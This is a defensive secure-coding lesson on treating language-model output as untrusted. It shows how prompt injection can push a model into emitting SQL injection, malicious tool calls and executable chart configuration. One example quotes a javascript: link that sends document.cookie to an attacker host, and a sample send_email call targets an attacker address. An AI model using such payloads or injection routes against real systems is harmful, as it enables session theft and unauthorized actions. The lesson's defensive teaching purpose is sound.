Improper Output Handling

The output is an input

Here is the reframing that makes this entire risk class tractable: a model's output is an untrusted input to whatever consumes it next.

That sentence sounds obvious and is routinely ignored, because model output does not feel like user input. It arrives from your own API call. It is usually well-formed. It reads like something your system produced. Developers who would never concatenate a form field into a SQL statement will cheerfully concatenate a generated one, because the generated string came from "the model" rather than from "a user."

But trace the provenance. The model produced that string by processing a context window containing a user message, retrieved documents, and previous tool results — all attacker-influenceable, as the prompt injection lesson established. The model is a transformation applied to untrusted input. Transformations of untrusted input are untrusted output. There is no step in the pipeline that launders it.

The practical consequence is that model output reaches sinks, and each sink is a distinct vulnerability class with a distinct control:

• Rendered as HTML — cross-site scripting, if you use innerHTML or the framework's raw-HTML escape hatch
• Interpolated into SQL — injection, if a generated fragment becomes part of a statement
• Passed to a shell — remote code execution, and this one is rarely survivable
• Fetched as a URL — server-side request forgery, including at internal metadata endpoints
• Parsed as JSON or YAML — object injection and type confusion in whatever consumes the parsed result
• Used as a file path — traversal outside the intended directory

None of these are new vulnerability classes. That is the encouraging part: your existing application security practice already covers them. What is new is that a component in the middle of your system now emits attacker-influenceable strings into all of these sinks at once, and it does so in code paths that were written by people thinking about model quality rather than about injection.

Why "sanitize the output" is not a plan

The instinct is a sanitize() function applied once after the model call. It does not work, for a reason worth understanding precisely: the correct transformation depends entirely on the destination, and the transformations conflict.

Escaping HTML entities makes a string safe for the DOM and simultaneously corrupts it as a shell argument. Backslash-escaping quotes makes it survivable in some string contexts and does nothing about SQL semantics. Stripping angle brackets breaks legitimate content — a generated code example containing a generic type is now mangled — while leaving every non-HTML sink exposed.

There is no universal safe form. There is only the right encoding for a specific destination, applied at the moment of use.

HTML. Render as text, not markup. If the product requires rendered Markdown, parse it into a restricted node tree with a tag and attribute allowlist, and forbid javascript: and data: URLs in links and images. Never pass generated content to innerHTML or dangerouslySetInnerHTML.

SQL. Parameterize. The generated value binds as data and can never become syntax. If a model must influence structure — a sort column, say — map its output through an allowlist of known column names rather than interpolating it.

Shell. Do not shell out. Call the API or binary directly with an argument array so no shell parses the string. If you truly must use a shell, the correct control is an allowlist of complete commands, not escaping.

URL. Allowlist the scheme and host, resolve DNS, and re-check after every redirect. Blocking localhost by string match fails against decimal-encoded IPs, DNS entries pointing at private ranges, and redirect chains.

Structured data. Validate against a schema and reject on mismatch. Do not coerce or repair silently — a "helpful" parser that fills in missing fields is deciding your program's behavior based on attacker-shaped input.

A worked example of the difference, in a feature that renders a model's answer in a chat UI:

// Vulnerable: the model's reply becomes markup.
// An injected instruction upstream can now write script into your page.
element.innerHTML = completion;

// Safe: the reply becomes text, whatever it contains.
element.textContent = completion;

// Safe when rendered Markdown is a product requirement:
// parse to a tree, allowlist nodes, and constrain URL schemes.
element.innerHTML = sanitizeHtml(marked.parse(completion), {
  allowedTags: ["p", "ul", "ol", "li", "code", "pre", "strong", "em", "a", "h2", "h3"],
  allowedAttributes: { a: ["href"] },
  allowedSchemes: ["https", "mailto"]
});

The third form is the one most products need, and the detail that gets missed is allowedSchemes. An allowlist of tags that permits links while permitting any scheme still permits javascript: in an href.

Re-authorize the effect

Schema validation is necessary and is not sufficient, and the gap between them is where the interesting failures live.

Consider a tool call the model emits after reading a document that contained an injected instruction:

{ "tool": "send_email", "arguments": { "to": "[email protected]", "body": "..." } }

This is perfectly valid against the schema. to is a string, and it is a well-formed email address. Every structural check passes. The action is still catastrophic.

Four steps belong between the model and any effect, and step three is the one most implementations skip:

Parse into a schema. Reject anything that does not fit. Do not repair it. A malformed tool call is a signal, not an inconvenience.

Bound the values. Types are not ranges. An amount that is a valid number can still be a hundred times larger than any legitimate request. A limit that is a valid integer can be ten million. Range and enum constraints belong in the schema, and where they cannot be expressed there, in the code immediately after.

Re-authorize the effect. Check, in deterministic code, that the current caller may cause this specific effect with these specific arguments. Not that some user could. Not that the agent's service account can. This is where the send_email call above dies, because the policy says this agent may send only to addresses on the requesting user's verified contact list.

Encode for the sink. Apply the destination-specific transformation from the previous section, at the point of use rather than at the point of generation.

The ordering matters. Encoding before authorization means you have carefully escaped an action that should never have run.

Worked example: a generated report with three sinks

A reporting assistant takes a question, generates a SQL fragment, runs it, and renders a summary with a chart. Three sinks in one feature, which is exactly how these get missed — the team secures the one they were thinking about.

Sink 1, the SQL. The naive build interpolates the generated WHERE clause into a query string. This is straightforward injection: an injected instruction in a retrieved document produces a clause containing a subquery against a table this user cannot see.

The fix is not to escape the fragment. It is to change what the model produces. Instead of emitting SQL, the model emits a structured filter description:

{ "column": "region", "operator": "eq", "value": "EMEA" }

Your code validates column against an allowlist of filterable columns for this user's role, operator against an enum, and binds value as a parameter. The model influences the query's meaning and can never influence its syntax. This pattern — have the model produce a constrained structure that your code compiles into the dangerous form — generalizes to nearly every sink and is stronger than any escaping scheme.

Sink 2, the rendered summary. The prose summary is rendered as Markdown, because users want formatting. It goes through the allowlist parser above. A generated link to javascript:fetch('https://attacker.example/'+document.cookie) is dropped at the scheme check rather than escaped, because there is no legitimate reason for this feature to emit a script URL.

Sink 3, the chart. The chart library takes a configuration object built from model output. The config includes a formatter field that the library evaluates as a function in some versions. A generated formatter is code execution in the browser. The fix is to never let the model populate config keys that carry executable semantics — the model chooses a chart type from an enum and a column set from an allowlist, and your code assembles everything else.

That third sink is the one worth remembering. It was not obvious, it was not in any checklist, and it existed because a library treated one string field as code. Auditing sinks means reading what your downstream libraries do with the values you hand them, not just what your own code does.

Common mistake

The most common mistake is trusting output because it came from a model call rather than a form field. The provenance chain is what matters, and that chain starts with untrusted input in every real system.

The second mistake is validating shape and calling it validation. A tool call that parses cleanly against its schema, contains only well-typed values, and would destroy a production table is a valid tool call. Schema validation answers "is this well-formed." It does not answer "may this caller do this."

The correcting exercise: take one AI feature and list every place a generated string is consumed by something other than being shown as plain text to the user. Include what your dependencies do with it. For each entry, name the encoding or allowlist that applies. Entries with no answer are your findings, and there are usually more of them than the team expected — the chart formatter is always somebody's chart formatter.